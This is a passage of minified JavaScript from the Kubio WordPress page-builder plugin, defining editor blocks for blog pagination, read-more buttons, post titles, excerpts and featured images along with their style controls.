47",children:[(0,Je.jsx)(Re.Rect,{x:"19.74",y:"2.48",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"2.48",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"10.63",width:"41.25",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"6.56",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"32.57",y:"6.56",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"15.14",y:"14.71",width:"28.98",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"14.71",width:"6.96",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"19.74",y:"18.64",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"18.64",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"26.8",width:"41.25",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"22.72",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"32.57",y:"22.72",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"15.14",y:"30.87",width:"16.11",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"30.87",width:"6.96",height:"1.3"}),(0,Je.jsx)(Re.Path,{d:"M6.34,43.36A.43.43,0,0,1,6,43.24l-1-1a.67.67,0,0,1,0-.95l1-1a.44.44,0,0,1,.63,0,.46.46,0,0,1,0,.64l-.85.8.85.8a.46.46,0,0,1,0,.64A.45.45,0,0,1,6.34,43.36Z"}),(0,Je.jsx)(Re.Path,{d:"M8.69,45.14H3a.6.6,0,0,1-.6-.59V39a.6.6,0,0,1,.6-.59H8.69a.45.45,0,0,1,.45.45v5.82A.45.45,0,0,1,8.69,45.14Zm-5.37-.9H8.24V39.32H3.32Z"}),(0,Je.jsx)(Re.Path,{d:"M40.67,43.36a.47.47,0,0,1-.33-.14.46.46,0,0,1,0-.64l.85-.8-.85-.8a.46.46,0,0,1,0-.64.44.44,0,0,1,.63,0l1,1a.67.67,0,0,1,0,1l-1.05,1A.42.42,0,0,1,40.67,43.36Zm.72-1.42h0Z"}),(0,Je.jsx)(Re.Path,{d:"M44,45.14H38.31a.45.45,0,0,1-.45-.45V38.87a.45.45,0,0,1,.45-.45H44a.6.6,0,0,1,.6.59v5.54A.6.6,0,0,1,44,45.14Zm-5.22-.9h4.92V39.32H38.76Z"})]}),HP={text:(0,We.__)("Previous","kubio"),icon:{name:"ionicons/ios-arrow-left"},action:"prev",kubio:{props:{showIcon:!0,iconPosition:"before"},style:{descendants:{icon:{margin:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}}}}}},GP={text:(0,We.__)("Next","kubio"),icon:{name:"ionicons/ios-arrow-right"},action:"next",kubio:{props:{showIcon:!0,iconPosition:"after"},style:{descendants:{icon:{margin:{right:{value:0,unit:"px"}}}}}}};HP.kubio.props.showIcon=!1,GP.kubio.props.showIcon=!1;const UP=[{name:"buttons-and-numbers",title:(0,We.__)("Buttons & Numbers","kubio"),icon:MP,attributes:{kubio:{props:{layout:{equalWidth:!1,verticalAlign:"center",horizontalAlign:"center"}}}},innerBlocks:[["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"fitToContent"}}}},style:{descendants:{container:{textAlign:"left"}}},props:{}}},[["kubio/pagination-nav-button",HP,[]]]],["kubio/column",{heroType:"none",kubio:{style:{descendants:{container:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}},props:{}}},[["kubio/pagination-numbers",{action:"prev"},[]]]],["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"fitToContent"}}}},style:{descendants:{container:{textAlign:"right"}}},props:{}}},[["kubio/pagination-nav-button",GP,[]]]]],scope:["block"]},{name:"buttons-only",title:(0,We.__)("Buttons","kubio"),icon:WP,attributes:{kubio:{props:{layout:{equalWidth:!1,verticalAlign:"center",horizontalAlign:"center"}}}},innerBlocks:[["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}},style:{descendants:{container:{textAlign:"left"}}},props:{}}},[["kubio/pagination-nav-button",HP,[]]]],["kubio/column",{heroType:"none",kubio:{_style:{descendants:{container:{columnWidth:{type:"flexgrow"}}}},style:{descendants:{container:{textAlign:"right"}}},props:{}}},[["kubio/pagination-nav-button",GP,[]]]]],scope:["block"]}],FP=(0,Sn.extendBlockMeta)(RP,{title:(0,We.__)("Pagination","kubio"),description:(0,We.__)("Use buttons only or buttons with numbers pagination to help your website visitors navigate your blog.","kubio"),keywords:[(0,We.__)("page","kubio"),(0,We.__)("pagination","kubio")],icon:Tn.BlockIcons.PostNavigationBar,providesContext:{"kubio/parentKubio":"kubio"},apiVersion:2,supports:{kubio:{elementsByName:ur},reusable:!1,html:!1},edit:e=>{const{clientId:t,context:o={}}=e,{useMainQuery:n}=o,{hasInnerBlocks:a,parentBlock:i}=(0,Le.useSelect)((e=>{const{getBlocks:o,getBlockRootClientId:n,getBlock:a}=e("core/block-editor");return{parentBlock:a(n(t)),hasInnerBlocks:!!o(t).length}}),[t]);let r;return r=(null==i?void 0:i.name)!==hn.QUERY||n?a?Pr:DP:LP,(0,Je.jsx)(r,{...e,parentClientId:null==i?void 0:i.clientId})},save:Ar,variations:UP}),zP=(0,Sn.extendBlockMeta)({name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},linkType:{type:"string",default:"link"},recommendation:{type:"object",default:{}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text",RECOMMENDATION_PAGE_IFRAME:"recommendationPageIframe"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]},{type:"element",props:{name:"recommendationPageIframe"}}]}}}},{name:"kubio/pagination-nav-button",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery"],parent:null,attributes:{action:{type:"string",default:"prev"}},supports:{kubio:{elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!1,default:!1}},template:{type:"element",props:{name:"spacing"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}}),VP=(0,Ne.composeWithKubioDataAndStyle)((e=>{const{attributes:t,setAttributes:o,getAttribute:n,StyledElements:a}=e,i=[{label:(0,We.__)("Previous","kubio"),value:"prev"},{label:(0,We.__)("Next","kubio"),value:"next"}];return(0,Je.jsx)(a.Spacing,{children:(0,Je.jsx)(Dk,{...e,withToolbar:!1,buttonPropsBefore:(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Button Action","kubio"),path:"iconPosition",options:i,value:null==t?void 0:t.action,onChange:e=>{var t;o({action:e});const a=null===(t=je().find(i,{value:e}))||void 0===t?void 0:t.label;o({text:a||n("text")})}})})})})),YP=(0,Sn.extendBlockMeta)(zP,{title:(0,We.__)("Pagination Nav Button","kubio"),description:(0,We.__)("Adjust your blog pagination with nice buttons. Choose your icons and stylize them the way you need.","kubio"),keywords:[(0,We.__)("pagination","kubio"),(0,We.__)("navigation","kubio")],icon:Tn.BlockIcons.PaginationNavButton,apiVersion:2,supports:{kubio:{elementsByName:Iu},reusable:!1,html:!1},edit:VP,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.text})}),$P="outer",KP="numbers",qP="current",XP="dots",QP="general",ZP={[$P]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:["normal","hover"]}},[KP]:{label:(0,We.__)("Page Number","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[qP]:{label:(0,We.__)("Current Page Number","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[XP]:{label:(0,We.__)("Dots","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover"]}},[QP]:{internal:!0}},JP=(0,De.compose)((0,Ne.withStyledElements)())((({StyledElements:e})=>{const t=(0,Me.useRef)(),o=e=>{"a"===e.target.tagName.toLowerCase()&&(e.preventDefault(),e.stopPropagation())};return(0,Me.useEffect)((()=>{var e;return null===(e=t.current)||void 0===e||e.addEventListener("click",o),()=>{var e,n;return null===(e=t.current)||void 0===e||null===(n=e.removeEventListener)||void 0===n?void 0:n.call(e,"click",o)}}),[t.current]),(0,Je.jsx)(e.Outer,{ref:t,children:(0,Je.jsx)(Ne.ServerSideRender,{block:"kubio/pagination-numbers"})})})),eA=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:$P};return(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Properties","kubio"),children:(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",...e})})})},tA=[{label:(0,We.__)("Normal","kubio"),value:"normal"},{label:(0,We.__)("Hover","kubio"),value:"hover"},{label:(0,We.__)("Active","kubio"),value:"active"}],oA=(0,De.compose)((0,Ne.withColibriDataAutoSave)())((()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:QP},[t,o]=(0,Me.useState)("normal"),n=(0,Me.useMemo)((()=>{const e="active"===t?qP:KP,o="active"===t?"normal":t;return{type:Ne.WithDataPathTypes.STYLE,style:e,state:o}}),[t]);return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Pagination","kubio"),children:[(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...e}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ToggleGroup,{options:tA,value:t,onChange:o}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...n}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",...n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Space between items","kubio"),path:["padding.left","padding.right"],units:["px"],...e})]})})})),nA=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(oA,{})}),aA={name:"kubio/pagination-numbers",category:"kubio-blog-components",attributes:{kubio:{type:"object"}},usesContext:["queryId","query","queryContext","useMainQuery"],supports:{kubio:{default:{style:{},props:{}},elementsEnum:{OUTER:"outer",PAGE_NUMBERS:"numbers",CURRENT_PAGE:"current",DOTS:"dots",GENERAL:"general"},elementsByName:{outer:{wrapper:!0,default:!0},general:{selector:"& .page-numbers"},numbers:{selector:"& .page-numbers:not(.current):not(.dots)"},current:{selector:"& .page-numbers.current"},dots:{selector:"& .page-numbers.dots"}},template:{type:"element",props:{name:"outer"}}}}},iA=(0,Sn.extendBlockMeta)(aA,{title:(0,We.__)("Pagination Numbers","kubio"),description:(0,We.__)("Use numbers for your blog pagination to help your website visitors discover the content they need easily.","kubio"),keywords:[(0,We.__)("pagination","kubio"),(0,We.__)("number","kubio")],icon:Tn.BlockIcons.BlogPagination,apiVersion:2,supports:{kubio:{elementsByName:ZP},reusable:!1,html:!1},edit:e=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(nA,{}),(0,Je.jsx)(eA,{}),(0,Je.jsx)(JP,{...e})]})}),rA=(0,Ze.mergeNoArrays)({},Iu,{spacing:{internal:!0}}),sA=(0,Ne.composeWithKubioDataAndStyle)((e=>{const{StyledElements:t}=e;return(0,Je.jsx)(t.Spacing,{children:(0,Je.jsx)(Dk,{...e,dynamicLink:!0,withAlign:!0,withToolbar:!1})})})),lA=(0,Sn.extendBlockMeta)({name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},linkType:{type:"string",default:"link"},recommendation:{type:"object",default:{}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text",RECOMMENDATION_PAGE_IFRAME:"recommendationPageIframe"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]},{type:"element",props:{name:"recommendationPageIframe"}}]}}}},{name:"kubio/read-more-button",category:"kubio-blog-components",usesContext:["postId","postType"],parent:null,supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!1,default:!1}},template:{type:"element",props:{name:"spacing"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}}),uA=(0,Sn.extendBlockMeta)(lA,{title:(0,We.__)("Read More Button","kubio"),keywords:[(0,We.__)("read more","kubio")],icon:Tn.BlockIcons.ReadMore,apiVersion:2,supports:{kubio:{elementsByName:rA},reusable:!1,html:!1},edit:sA,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.text})});(0,Ne.onBlockVariationRegistered)(hn.BUTTON,((e,t)=>{if(!e.isDefault)return!1;const{name:o,title:n}=uA;return t(o,(0,Ae.merge)(e,{name:o,title:n,description:(0,We.__)("Add a catchy βRead moreβ call to action to your blog articles on the blog listing page.","kubio"),attributes:{text:(0,We.__)("Read more","kubio"),icon:{name:"font-awesome/arrow-right"},kubio:{style:{descendants:{icon:{margin:{left:{value:10,unit:"px"},right:{value:0,unit:"px"}}}}},props:{buttonSize:"medium",showIcon:!1,iconPosition:"after"}}}})),!0}));const cA=[{value:"h1",label:"H1"},{value:"h2",label:"H2"},{value:"h3",label:"H3"},{value:"h4",label:"H4"},{value:"h5",label:"H5"},{value:"h6",label:"H6"}],pA="container",dA={[pA]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY_FOR_HEADING,jn.StylesEnum.TEXT_SHADOW],states:jn.StatesPresetsEnum.BASIC}}},mA=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:pA},t=(0,bt.useInheritedTextAlign)();return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Post Title Properties","kubio"),children:[(0,Je.jsx)(ut.ToggleGroupWithPath,{label:(0,We.__)("Heading type","kubio"),path:"headingType",options:cA,type:Ne.WithDataPathTypes.ATTRIBUTE}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,...e,defaultValue:t})]})})},hA=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(mA,{})}),bA=(0,Ne.withComputedData)()((({dataHelper:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:pA},o=e.getAttribute("headingType")?e.getAttribute("headingType"):"h2";return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Post title","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...t,defaultValue:(0,bt.useInheritedTypographyValue)(o,"color")}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text hover color","kubio"),path:"typography.color",...t,state:"hover"}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...t,nodeType:o}),(0,Je.jsx)(ut.TextShadowControlPopupWithPath,{path:"textShadow",...t})]})})),gA=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(bA,{})}),yA=(0,Ne.composeWithKubioDataAndStyle)((e=>{const{StyledElements:t,context:o}=e,{postId:n,postType:a}=o,i=(0,Le.useSelect)((e=>{var t;return null===(t=e("core").getEditedEntityRecord("postType",a,n))||void 0===t?void 0:t.title}),[a,n]);return(0,Je.jsx)(t.Link,{children:(0,Je.jsx)(t.Container,{children:i||(0,We.__)("(Post Title)","kubio")})})}),(e=>({tagName:e.getAttribute("headingType")})),(({computed:e}={})=>({[pA]:{className:"kubio-post-title",tag:(null==e?void 0:e.tagName)||"h2"}}))),kA={name:"kubio/post-title",category:"kubio-blog-components",attributes:{kubio:{type:"object"},headingType:{type:"string",default:"h2"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{typography:{decoration:"none"}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link"},elementsByName:{container:{tag:"h2",selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,wrapper:!0,default:!0},link:{prefixWithTag:!0,internal:!0,props:{className:["d-block"],tag:"a"}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"container"}}]}}}},fA=(0,Sn.extendBlockMeta)(kA,{title:(0,We.__)("Post title","kubio"),description:(0,We.__)("Create beautiful post titles. Customize their typography, color, shadow, borders, and background.","kubio"),keywords:[(0,We.__)("post","kubio"),(0,We.__)("title","kubio"),(0,We.__)("article","kubio")],icon:Tn.BlockIcons.PostTitle,apiVersion:2,supports:{kubio:{elementsByName:dA},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(hA,{}),(0,Je.jsx)(gA,{}),(0,Je.jsx)(yA,{...e})]})}}),_A=()=>(0,Je.jsx)("div",{className:"excerpt-length-wrapper",children:(0,Je.jsx)(ut.RangeWithPath,{label:(0,We.__)("Excerpt length","kubio"),max:100,min:10,path:"wordCount",type:Ne.WithDataPathTypes.ATTRIBUTE})}),vA=(0,Ne.withPropsChecker)((function(e){const{attributes:{wordCount:t},context:{postId:o,postType:n}}=e,a=function(e,t,o){const[,,n]=(0,Bt.useEntityProp)("postType",o,"excerpt",t),a=null==n?void 0:n.rendered,[,,i]=(0,Bt.useEntityProp)("postType",o,"content",t),r=null==i?void 0:i.rendered,s=a||r,l=(0,We.__)("No post excerpt found","kubio"),u=(0,Me.useMemo)((()=>{const t=document.createElement("div");t.innerHTML=s;const o=(t.textContent||t.innerText||l).replace(/\n/gim," ").trim().split(" ").filter(Boolean),n=o.slice(0,e);return n.length!==o.length&&n.push("[β¦]"),n.join(" ")||l}),[s,e]);return"page"===o?(0,Je.jsx)(ut.BlockPlaceholder,{title:(0,We.__)("Pages do not support excerpt by default.","kubio"),isSmall:!0}):u}(t,o,n);return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(o_,{showLead:!1,atEndOfTextProperties:(0,Je.jsx)(_A,{...e}),title:(0,We.__)("Post summary properties","kubio")}),(0,Je.jsx)(a_,{withTextShadow:!1,styleTitle:(0,We.__)("Excerpt","kubio")}),(0,Je.jsx)(e_,{...e,isDynamic:!0,children:a})]})})),xA=(0,Sn.extendBlockMeta)({name:"kubio/text",category:"kubio-basic",attributes:{kubio:{type:"object"},content:{type:"string",source:"html",default:""},dropCap:{type:"boolean",default:!1}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{},props:{isLead:!1}},elementsEnum:{TEXT:"text",FIRSTLETTER:"first-letter"},elementsByName:{text:{default:!0,wrapper:!0,selector:"p.wp-block.wp-block-kubio-text__text",selectorPrepend:!0,props:{tag:"p"}},"first-letter":{selector:"&::first-letter"}},template:{type:"element",props:{name:"text"}}}}},{name:"kubio/post-excerpt",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{wordCount:{type:"number",default:16}},supports:{kubio:{appearanceEffect:!0,elementsByName:{text:{default:!0,wrapper:!0,selector:!1,selectorPrepend:!1}}}}}),CA=(0,Sn.extendBlockMeta)(xA,{title:(0,We.__)("Post Summary","kubio"),description:(0,We.__)("Create a short enticing summary of your blog article to serve as a preview in your blog listing.","kubio"),keywords:[(0,We.__)("excerpt","kubio")],icon:Tn.BlockIcons.PostExcerpt,apiVersion:2,supports:{kubio:{elementsByName:Kf},reusable:!1,html:!1},edit:vA}),IA="container",EA="image",TA="align",SA={[IA]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:jn.StatesPresetsEnum.BASIC,filters:{spacing:{supportsPadding:!1}}}}},wA=[{value:"16-9",label:(0,We.__)("16:9 - HD","kubio")},{value:"4-3",label:(0,We.__)("4:3","kubio")},{value:"1-1",label:(0,We.__)("1:1","kubio")},{value:"custom",label:(0,We.__)("Custom","kubio")}],PA={COVER:"cover",CONTAIN:"contain",FILL:"fill"},AA={values:PA,options:[{value:PA.COVER,label:(0,We.__)("Cover","kubio")},{value:PA.CONTAIN,label:(0,We.__)("Contain","kubio")},{value:PA.FILL,label:(0,We.__)("Natural size","kubio")}]},jA={options:ut.BackgroundUiUtils.ImageProperties.position.filter((e=>"custom"!==e.value))},BA={imageSize:AA,defaultImageUrl:(0,Ze.defaultAssetURL)("featured-image-placeholder.png"),imagePosition:jA,aspectRatioOptions:wA},NA=(0,Ne.withComputedData)((e=>({isNaturalSize:e.getStyle("object.fit",null,{styledComponent:EA})===BA.imageSize.values.FILL,aspectRatio:e.getProp("aspectRatio"),showPlaceholder:e.getAttribute("showPlaceholder")})))((({computed:e})=>{const{isNaturalSize:t,aspectRatio:o,showPlaceholder:n}=e,a={type:Ne.WithDataPathTypes.STYLE,style:EA},i={type:Ne.WithDataPathTypes.STYLE,style:IA};return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Featured image properties","kubio"),children:[(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Show image placeholder","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"showPlaceholder"}),n&&(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Placeholder color","kubio"),path:"background.color",...i}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ToggleGroupWithPath,{label:(0,We.__)("Image size","kubio"),path:"object.fit",options:BA.imageSize.options,media:"desktop",...a}),!t&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectControlWithPath,{options:BA.aspectRatioOptions,label:(0,We.__)("Aspect ratio","kubio"),type:Ne.WithDataPathTypes.PROP,path:"aspectRatio"}),"custom"===o&&(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Image height","kubio"),path:"height",max:1e3,...i}),(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Image position","kubio"),path:"object.position",options:BA.imagePosition.options,...a})]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TooltipWrapper,{rightPosition:"55px",text:(0,We.__)("Post link will be added to featured image","kubio"),children:(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Add link","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"addLink"})}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",...i}),(0,Je.jsx)(ut.VerticalAlignControlWithPath,{path:"verticalAlign",label:(0,We.__)("Content vertical position","kubio"),type:Ne.WithDataPathTypes.PROP})]})})})),OA=NA,RA=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(OA,{})}),DA=(0,Ne.withColibriDataAutoSave)((e=>{}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:IA};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Featured image","kubio"),children:[(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...t}),(0,Je.jsx)(ut.BoxShadowWithPath,{path:"boxShadow",...t})]})})),LA=DA,MA=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(LA,{})}),WA=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>{const{context:o}=t,{postId:n,postType:a}=o,i=e.getAttribute("showPlaceholder"),r=e.getStyle("object.fit",null,{styledComponent:EA})===BA.imageSize.values.FILL,[s]=(0,Bt.useEntityProp)("postType",a,"featured_media",n),l=(0,Le.useSelect)((e=>s&&e("core").getMedia(s)),[s]),u=null==l?void 0:l.source_url;return{showPlaceholder:i,isNaturalSize:r,featuredImageUrl:u,hasImage:u||!u&&!i,verticalAlignByMedia:e.getPropByMedia("verticalAlign"),aspectRatio:e.getProp("aspectRatio")}})),(0,Ne.withStyledElements)((({computed:e}={})=>({[IA]:{className:()=>{const{isNaturalSize:t,hasImage:o,aspectRatio:n}=e;let a=[];return t?a.push("kubio-post-featured-image--natural-size"):a=a.concat(`h-aspect-ratio--${n}`),o&&a.push("kubio-post-featured-image--has-image"),a}},[TA]:{className:()=>{const{verticalAlignByMedia:t}=e;return jn.FlexAlign.getVAlignClasses(t,{self:!0})}}}))),(0,Ne.withContainerBase)()),HA=WA((e=>{const{computed:t,StyledElements:o}=e,{hasImage:n,featuredImageUrl:a}=t;let i;const r=a||BA.defaultImageUrl;n&&(i=(0,Je.jsx)(o.Image,{src:r}));const s=(0,Ne.normalizeTemplateLock)(e.dataHelper.getAttribute("templateLock",!1)),l=bn({},{templateLock:s});return(0,Je.jsxs)(o.Container,{children:[i,(0,Je.jsx)(o.Inner,{children:(0,Je.jsx)(o.Align,{...l})})]})})),GA={name:"kubio/post-featured-image",category:"kubio-blog-components",attributes:{kubio:{type:"object"},showPlaceholder:{type:"boolean",default:!1},imageSize:{type:"string",default:"cover"},addLink:{type:"boolean",default:!1}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{background:{color:"#F79007"},textAlign:"center",height:{value:300,unit:"px"}},image:{object:{position:"center center",fit:"cover"}}}},props:{aspectRatio:"16-9",verticalAlign:"center"}},elementsEnum:{INNER:"inner",CONTAINER:"container",IMAGE:"image",ALIGN:"align"},elementsByName:{container:{default:!0,wrapper:!0,props:{tag:"figure"}},inner:{},image:{props:{tag:"img"}},align:{props:{className:["h-y-container"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{shouldRender:"computed.showImage",name:"image"}},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},UA=(0,Sn.extendBlockMeta)(GA,{title:(0,We.__)("Post Featured Image","kubio"),description:(0,We.__)("Add a relevant and catchy image to every blog article. Adjust its size, borders, shadow, and more.","kubio"),keywords:[(0,We.__)("featured image","kubio"),(0,We.__)("cover image","kubio")],icon:Tn.BlockIcons.PostFeaturedImage,apiVersion:2,supports:{kubio:{elementsByName:SA},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(RA,{}),(0,Je.jsx)(MA,{}),(0,Je.jsx)(HA,{...e})]})},save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})}}),FA="container",zA="link",VA="placeholder",YA={[FA]:{label:(0,We.__)("Tags 